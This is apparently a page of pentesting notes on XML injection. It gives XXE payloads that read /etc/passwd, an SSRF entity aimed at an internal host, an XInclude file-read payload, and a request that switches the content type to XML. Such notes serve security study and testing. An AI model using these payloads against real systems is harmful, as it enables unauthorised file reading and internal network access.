> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/network-services/ports/80-443-http-s/web-vulnerabilities/xml-injection.md).

# XML Injection

## XXE to retrieve files

For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:

```xml
<?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck>
```

The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the `/etc/passwd` file by submitting the following XXE payload:

```xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck>
```

This XXE payload defines an external entity `&xxe;` whose value is the contents of the `/etc/passwd` file and uses the entity within the `productId` value. This causes the application's response to include the contents of the file:

```xml
Invalid product ID: root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

## XXE to perform SSRF attacks

```xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
```

## XInclude attacks

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
```

## XXE attacks via modified content type

For example, if a normal request contains the following:

```http
POST /action HTTP/1.0 
Content-Type: application/x-www-form-urlencoded
Content-Length: 7 

foo=bar
```

Then you might be able submit the following request, with the same result:

```http
POST /action HTTP/1.0 
Content-Type: text/xml 
Content-Length: 52 

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```


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